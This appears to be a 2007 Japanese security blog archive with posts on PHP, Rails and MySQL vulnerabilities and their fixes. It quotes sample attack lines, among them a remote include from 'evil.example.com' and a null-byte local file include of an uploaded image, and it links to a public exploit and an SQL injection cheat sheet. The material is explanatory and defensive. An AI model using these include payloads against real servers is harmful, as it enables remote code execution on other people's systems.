タグ: 脆弱性

APCにStack Overflow脆弱性

件名の通り、APCのStack Overflow脆弱性が公開されています。

http://sla.ckers.org/forum/read.php?3,21615,21615#msg-21615

このポストに書いてある通り、PHP4ではインクルード攻撃に脆弱なアプリならallow_url_fopenをoffにしていても効果はありません。PHP4+APCを使っている方は今すぐAPCをCVSバージョンにバージョンアップするか、APCをロードしない方が良いでしょう。

MomongaLinux等、パッケージをビルドする際にstack smashing attackから防御するstack protectorオプションを使ってビルドしているバイナリであればリンク先の攻撃方法では攻撃できません。しかし、インクルード攻撃に脆弱であれば、他の脆弱性を利用してカナリア値を盗む事も可能なので安全とは言えません。いずれにせよAPCを利用している場合はバージョンアップする方が良いでしょう。

追記:
CVSを見てみました。

http://cvs.php.net/viewvc.cgi/pecl/apc/apc.c?r1=3.20&r2=3.21

fileinfoがスタック変数、strcpyでオーバーフローしてます… 教科書通りの解りやすい脆弱性です…

Rails 1.2.6 リリース

1.2.4などで修正を試みたセキュリティ上の問題が完全ではなかったようです。
セッションIDの固定化が可能な脆弱性が(こんどは完全に?)修正されたようです。

The rails core team has released ruby on rails 1.2.6 to address a bug in the fix for session fixation attacks (CVE-2007-5380). The CVE Identifier for this new issue is CVE-2007-6077.

PHPの場合、Session Adoptionに脆弱(普通にアプリを作るとSession Fixationにも脆弱なる設定がついこの間までデフォルト…)ですがいつ直すつもりなんでしょう… パッチはあるのですけどね…

SET NAMESは禁止

MySQLには文字エンコーディングを変更する「SET NAMES」SQL文が用意されています。(PostgreSQLも同様のSQL文、SET CLIENT_ENCODINGがあります)この機能はSQLコンソールからは使ってよい機能ですが、アプリケーションからは使ってはならない機能です。SQLインジェクションに脆弱になる場合があります。

Ruby on Railsの本を読んでいて、ActiveRecordを説明している部分にMySQLの文字エンコーディングを変更する場合の例としてSET NAMESが利用されていました。アプリケーションからはSET NAMESは使ってはならない事を周知させるのは結構時間が必要かなと思いました。

PHPも5.2の途中からMySQLモジュールにlibmysqlの文字エンコーディング設定APIのラッパー関数が追加されていたりするので、たまたま最近読んだRoRの本だけでなく、多くの開発向け情報ソースにSET NAMESを利用した例が載っていると思います。

ストアドプロシージャだけ使っていれば安全ですが、アプリケーションからDBMSの文字エンコーディングを設定する場合、SQL文ではなく必ず文字エンコーディング設定APIを利用するよう紹介しなければならないです。MySQL4はストアドプロシージャが使えないので、フレームワークなどではエミュレートしています。ストアドプロシージャだけ使って防御している「つもり」で防御になっていない場合もあります。これもフレームワークを使っていてもアプリケーションが脆弱になる良い例ですね。

脆弱性の説明は面倒ですが注意事項は簡単です。「DBMSをアプリケーションから利用する場合、文字エンコーディング設定は必ずAPIを利用する」つまり「SET NAMES(PostgreSQLのSET CLIENT_ENCODING等も)は禁止」です。

PHPのMySQL:

PHPのPostgreSQL:

PHPのPDO:

<?php
// MySQL
$pdo = new PDO(
    'mysql:host=yourhost;dbname=yourdb;charset=sjis',
    'user', 'password'
);

// PostgreSQL
$pdo = new PDO(
    "pgsql:host=yourhost;dbname=yourdb;options='--client_encoding=sjis'"
);

Rails:

config.encoding = 文字コード

 

スクリプトインクルード問題の根本的解決策

スクリプトインクルード問題には2種類の問題があります。一つはリモートスクリプトインクルード、もう一つはローカルスクリプトインクルードです。

デフォルト設定のPHP 5.2はURL形式のファイルをスクリプトとして実行できなくなりました。つまり

include(‘http://evil.example.com/attack.php’);

の様なコードは実行できなくなり、頻繁にレポートされる「リモートスクリプトの実行」が可能な脆弱性はデフォルト設定では発生しなくなりました。

しかし、PHP 5.2以降でもPHPプログラムはファイルにコードを埋め込む形式でプログラムを記述しなければなりません。アップロードされたローカルファイルをスクリプトとして実行するのは非常に簡単です。入力ファイルのバリデーションを行っても、全てのファイルからコードを取り除くのは簡単ではありませんし、現実的でない場合もあります。PHPは他の言語と異なり「コードを埋め込む形式」であるために、”ローカル”スクリプトインクルードがセキュリティ上の問題となる可能性が残されています。

PHPアプリでスクリプトインクルードがセキュリティ上の問題として度々取り上げられる原因は、PHPが「コード埋め込み型」でスクリプトを実行していることにあります。「コード埋め込み型」でスクリプトを実行していなければ他のスクリプト型言語を同等レベルにまでローカルスクリプト実行脆弱性を軽減することができます。

「デフォルト状態でのリモートスクリプトの実行機能」はあきらかにPHPにとって負の遺産でした。同じように「デフォルト状態でのコード埋め込み型のスクリプト」も負の遺産だと思っています。最近のPHPプログラムはコードとHTMLは分離され、埋め込み型である必要性があるのはテンプレートくらいになっています。多くの他のスクリプトファイルはプログラム以外のデータを埋め込む必要が全くないコードになっています。にもかかわらず「コードの埋め込み型のスクリプト」をデフォルトとして意図しないローカルスクリプトの実行に対して脆弱でありつづける必要はありません。

スクリプトインクルード問題対策には、まず「埋め込み型スクリプト」が保存されたディレクトリを指定し、それ以外はコードの埋め込みを許可しないように仕様変更が必要です。これによりユーザから送信された画像や圧縮ファイル、テキストファイルを誤ってスクリプトとして実行してしまう事態をかなり回避できるようになります。

パッチの作成は割と簡単です。埋め込みモードでスクリプト実行するディレクトリを保存するためのphp.ini設定を追加します。PHPがスクリプトファイルをコンパイルする場合、設定されたディレクトリ以外はパーサの初期状態をST_IN_SCRIPTINGに設定し、終了タグが現れても無視します。古いPHPとの互換性維持のため開始タグが現れても無視する様にすれば、既存のライブラリファイルもそのまま使えます。

ユーザが任意データをアップロード可能なアプリケーションに仮にローカルスクリプトインクルードに脆弱なコード

include($_GET[‘module_name’].’.php’);

が在ったとしても, $_GET[‘module_name’]にアップロードしたファイル名を設定して

include(“/www/upload/evil.gif¥0.php”);

のようなリクエストを送信しても、画像形式を適切にバリデーションしていれば”/www/upload/”に保存された画像ファイルをスクリプトとして実行されてしまう危険性を大幅に低減できます。バリデーションにはTokenizerを利用し、PHPのトークン(プログラムのコード)が無いことを確認します。

意図しないスクリプトインクルードされる問題を確実に回避するは埋め込みモードでスクリプトを実行するディレクトリだけでなく、通常モードでスクリプトを実行するディレクトリも指定できるようにします。こうすればこれらのディレクトリへの書き込みを適切に制限していればスクリプトインクルードによる攻撃を防ぐ事ができます。

パッチ作成は割と簡単です。欲しい方います??

HTTP_ACCEPT_CHARSET/HTTP_ACCEPT_LANGUAGEの取り扱いバグ

b2evolutionをいい加減アップグレードしておかないと問題があっても困るのでアップグレードしました。HTTP_ACCEPT_CHARET/HTTP_ACCEPT_LANGUAGE処理の不具合がまだなおっていないようです… 日本語のように単語区切りがない言語(または正規表現の文字エンコーディング設定)の不具合も直っていないようです。

昨日から今日までMac版のFirefoxなら正常に表示、Win版だとISO-8859-1になって文字化けしていました。(多分IEも同様だったはず)

文字列の比較はできるかぎり厳密に行う方が良いですがHTTP_ACCEPT_CHARSET/HTTP_ACCEPT_LANGUAGEの比較では大文字/小文字を無視した方が無難だと思います。Win版Firefoxがへんな値に設定しているとは思いますが、統計アプリなどでみるとかなり変わったエンコーディング名になっている場合もあるようです。

エンコーディングをUTF-8で統一しているなら

conf/_locales.phpを以下に設定し

$evo_charset=’utf-8′;
$force_io_charset_if_accepted=’utf-8′;
$db_config[‘connection_charset’]=’utf-8′;
$default_locale=’ja-JP’;

必要ないような気もしますがこのファイルに定義してあるlocaleでiso-8859-1エンコーディングは全てutf-8に変更しました。

inc/MODEL/settings/_locale.funcs.phpのinit_charset関数でなにもせずにreturn

function init_charset( $req_io_charset )
{
return;

すれば文字化けは解消します。

追記:
これでもISO-8859-1になって文字化けするケースがありますね… 時間がないので場当たり対処策としてindex.phpの最後に

header(‘text/html; charset=UTF-8′);

を追加しました。ロケールの処理にはいろいろ問題があるようです。どこかで無理矢理ISO-8859-1にするくらいならデフォルトUTF-8にしておけば良いと思います。

さらに追記:
上記の変更を行うとRSSフィードのXMLエンコーディングの部分が空になり、XMLエラーとなってRSSリーダが処理できない不具合が発生する事が分かりました。ソースを見れば一目瞭然で文字エンコーディングを指定する変数が空であることが原因でした。

conf/_basic_conf.phpに

$io_charset=’utf-8’;

を追加すると直ります。アップグレードマニュアルにはこのファイルは前のファイルで上書きするように、と書いてあったのですが追加設定が必要だったのかも。

globで任意コード実行の脆弱性

FirstにPHPのglobで任意コード実行の脆弱性、とあったのでCVSを見てみるとglob用のメモリ構造体を未初期化で使用しているコードが修正されていました。未初期化の構造体メモリを任意データで書き換える必要があるので、攻撃を行うには攻撃が可能となるメモリレイアウトを作る比較的特殊なコードが必要になると思われます。

任意コード実行の脆弱性として

Remotely Exploitable : Yes
Locally Exploitable : Yes

の割には

Rated as : Moderate Risk

となっています。これは攻撃可能なメモリレイアウト作成はあまり直感的ではないから、もしくはPoCレベルの通常では起こりえない状況用の攻撃コードのみ作成されているからだと思われます。

これはPHP5.2.3以下の脆弱性です。以下はHEADのパッチです。
http://cvs.php.net/viewvc.cgi/php-src/ext/standard/dir.c?r1=1.166&r2=1.167
見ての通り、1 linerパッチです。

PHP4のサポートが終了しますが「ディストリビュータのサポートは別途で長いから」とディストリビュータのサポートに期待している方も多いと思います。ディストリビュータがどの程度セキュリティパッチをサポートしてくれるのかちょうどよいベンチマークになると思います。

tidy_parse_string() オーバーフロー

CVE-2007-3294にtidy_parse_string()オーバーフローが登録されています。

http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-3294

に脆弱性情報のソースURLが記載されています。

http://www.milw0rm.com/exploits/4080

すぐに応用可能な実証コード付きです。Linuxだと影響が大きすぎると考えたのか、実証コードの作成者がWindows環境が得意なのか、Windows環境のコードになっています。

tidy_parse_string()の第二引数(動作設定用パラメータ)のオーバーフローを利用しているので専用サーバで運用しているユーザにはあまり重要な脆弱性ではありません。(普通のコードならローカルからしか攻撃できない)しかし、PHPの場合、共有ホスティング環境で運用すできでないアプリケーション(たとえばECアプリ)も多く利用されているので「Base score: 7.5 (High) 」とレーティングされても仕方ないところでしょう。

PHPセッションの問題修正

Stefanさんのブログに書いてあったので気がついたのですが

http://cvs.php.net/viewvc.cgi/php-src/ext/session/session.c?r1=1.417.2.8.2.35&r2=1.417.2.8.2.36

に結構面白いコミットがされています。CVS版なので正式リリースになるかは不明です。成り行きはがどうなるかは興味深いです。

MOPBで解説されていたセッションIDにインジェクションができる問題を修正しようとブラックリスティングで対応させようとしたようです。ブラックリスティングより暗号化した方が安全性と互換性を確保するのが簡単なのですがZend社の社員によるコミットだったのですがZend Platformとの互換性も維持できないパッチになっているようです。Stefanさんのブログを見るとかなり皮肉な書き方であることが分かります。このような文面になった背景にはZend社の社員により「PHP開発者に知らせず脆弱性を公開した」とあらぬ言いがかりを付けられためだと思います。

非常に古いPHPの場合、セッションIDには好みの文字列が設定できたのですが最近のPHPは

\r\n\t <>’\”\\

が不正な文字として登録されています。\r\nはヘッダスプリティング、<>'”\はXSSに明らかに利用できるので不正としても仕方ない文字ですが、

()@,;:[]?={}&%

も新たに不正な文字に加えられたました。:はZend Platformでも使っている文字だそうです。
備考: セッションIDに管理用の文字列を付け加えるのは珍しいことではありません。負荷分散や分散されたサーバ間でのデータ共有など様々な用途に管理用の文字列を付け加える場合があります。

暗号化による対処の方がシンプルかつ安全な対策だと思います…

ところで、単純にクッキーだけでセッションIDを使っている場合には問題は発生しません。つまりsession.use_trans_sid=0, session.use_only_cookies=1でPHPを使っていれば現在のPHPを使っていてもここで問題としている不具合には影響されません。

PHPMailerコマンドインジェクション – WordPress, Mantis, WebCalendar, Group-Office, Joomla, etc

個人的には影響ないですがいろいろなアプリケーションで使われているPHPMailerと言うクラスにコマンドインジェクションの脆弱性があったようです。リンク先を見ればescapeshellarg()かescapeshellcmd()でエスケープすべき個所がエスケープされていない事が分かります。

どの位危険か?と言うと簡単にサーバを乗っ取られる(不正なプロセスを実行される等。プロキシ、SPAMメール中継、SSHアカウントクラック、DoS、etc)くらい危険です。対処が必要な方は早く対処すべきです。

以下はfull-disclosureのメールです。

PHPMailer is a widely deployed utility class used in PHP application to
handle emails sent through sendmail, PHP mailto() or SMTP. It is used in PHP applications such as WordPress, Mantis, WebCalendar, Group-Office and Joomla. The last official release happened on July 11, 2005.

If you have configured PHPMailer to use sendmail it has a remote command execution vulnerability due to a lack of input validation. sendmail isqueried through the popen function which is called with a string constructed from non-escaped user input.

http://larholm.com/2007/06/11/phpmailer-0day-remote-execution/

Cheers
Thor Larholm

追記:調査を行っていないので何となくですが、ファイルインクルードバグよりコマンドインジェクションバグの方が悪用される確率が高いような気がしています。脆弱性的にはファイルインクルードバグの方が強力ですが、攻撃用コードを別ホストに配置するのが面倒なのか(?)コマンドインジェクションの方が悪用されているような気がします。
# ファイルインクルードバグには攻撃用コードを
# 直接挿入できる場合もあります。

PHP 5.2.3のchunk_split()は未修整だった…

http://blog.php-security.org/archives/84-PHP-5.2.3-released….html にも書いてあるのですが、PHP 5.2.3ではchunk_split()が直っているハズだったのですが直っていませんでした。

Fixed an integer overflow inside chunk_split() (by Gerhard Wagner, CVE-2007-2872)

直したつもりが整数オーバーフローが発生するコードになっており、ヒープオーバーフローが発生します…

CVSには修正コードがコミットされています。

http://cvs.php.net/viewvc.cgi/php-src/ext/standard/string.c?r1=1.445.2.14.2.60&r2=1.445.2.14.2.61

Fix chunk_split fix – avoid using floats
Fix money_format – don’t give strfmon more arguments then supplied
Fix str[c]spn integer overflow

他のセキュリティFIXもあるのでPHP 5.2.4のリリースは近い(?)かな…

Cのコードを読める方なら気が付くと思いますが、整数オーバーフローによりdestバッファに十分なメモリが割り当てられない問題に対してint型の変数とINT_MAXを比較、符号のチェックをしても意味がないのは明白です。(負の値になった時しかチェックしていないので対策になっていない)

この指摘に対してBogusだとかFUDだとか言われるのは非常に心外だと思います。セキュリティ問題に対して正しい姿勢や理解を持っていない開発者と話をするのはかなりの疲労を伴う作業だ、という事がStefanさんのブログからは分かります… 文面からも最近フラストレーションが溜まっているような気もします。コードをチェックするStefanさんがいるPHPといないPHPでは安全性に大きな違いが発生すると思います。Hardened-PHPやMOPBをサポートするにはPayPalによる寄付もありますが応援メールも有効です。(こういうメールは英語が下手でも問題はないです)

MOBPを訳し終えて

もう何年か前になりますがStefanさんがPHPプロジェクトへの貢献を始めたころ「整数オーバーフローの修正はセキュリティ脆弱性なのでそのことを明記すべき」と指摘した事がありました。信じがたいかもしれませんが「攻撃可能かどうか分からないし脆弱性でなく普通のバグ修正だ」と主張する開発者がいたためPHPのこの手のヒープオーバーフローセキュリティ修正は「fixed crash」とCVSログに書いてあるだけの場合が多く、NEWSファイルにも記載されない事が当たり前になっていました。

もっと読む

SQLインジェクションカンニングシート

XSSに比べSQLインジェクションは非常に簡単に防げる脆弱性ですが、まだまだなくなりません。

SQL Injection Cheat Sheetが公開されています。

http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/

追記:上記ページはもう無いようです。以下のURLをご覧ください。

XSS Cheat Sheatと同じような形式になっています。PostgreSQL、MySQL、MS SQL Server、Oracle、その他と攻撃可能なDBMSもわかるようになっています。

OWASPの資料:

参考:

完全なSQLインジェクション対策

CWE-20は知られているか? 〜 開発者必修のNo.1脆弱性のハズが知られていない 〜

MOPBの反応

Stefanさんのブログによると、MOPBのおかげでリファレンスカウンタ、allow_url_include(とallow_url_fopen)のセキュリティホールがやっと修正されることになったようです。ブログの内容はリンク先を見ていただくとしてMOPBの成果として修正された問題についてコメントします。

もっと読む

MOPB-04-2007:PHP 4 unserialize() ZVAL Reference Counter Overflow

“the Month of PHP Bugs”をできるだけ多くの方が読めるように、Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリがMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。

もっと読む

なぜPHPアプリにセキュリティホールが多いのか?

技術評論社の新サイトで「なぜPHPアプリにセキュリティホールが多いのか?」をテーマにブログ風の記事を掲載させていただく事になりました。第一回は「CVEでみるPHPアプリケーションセキュリティ」です。

http://gihyo.jp/serial/2007/php-security/0001

CVEをフォローしている方であればPHPアプリケーションの脆弱性レポートの多さが目立っていることはよくご存知と思います。何故CVEエントリが多いのか解説しています。よろしければご覧下さい。

技術評論社の須藤さんに編集していただいているので私が書いた文章より読みやすいです。

今、気が付いたのですが、SecurityForcusに次の様な記載がありました。

The problem is, PHP applications accounted for about 43% of the security issues in 2006, according to the National Institute of Standards and Technology (NIST).

http://www.securityfocus.com/columnists/427

数えると凡そ半分と言っても良いくらいPHPアプリの脆弱性レポートがあったのですね。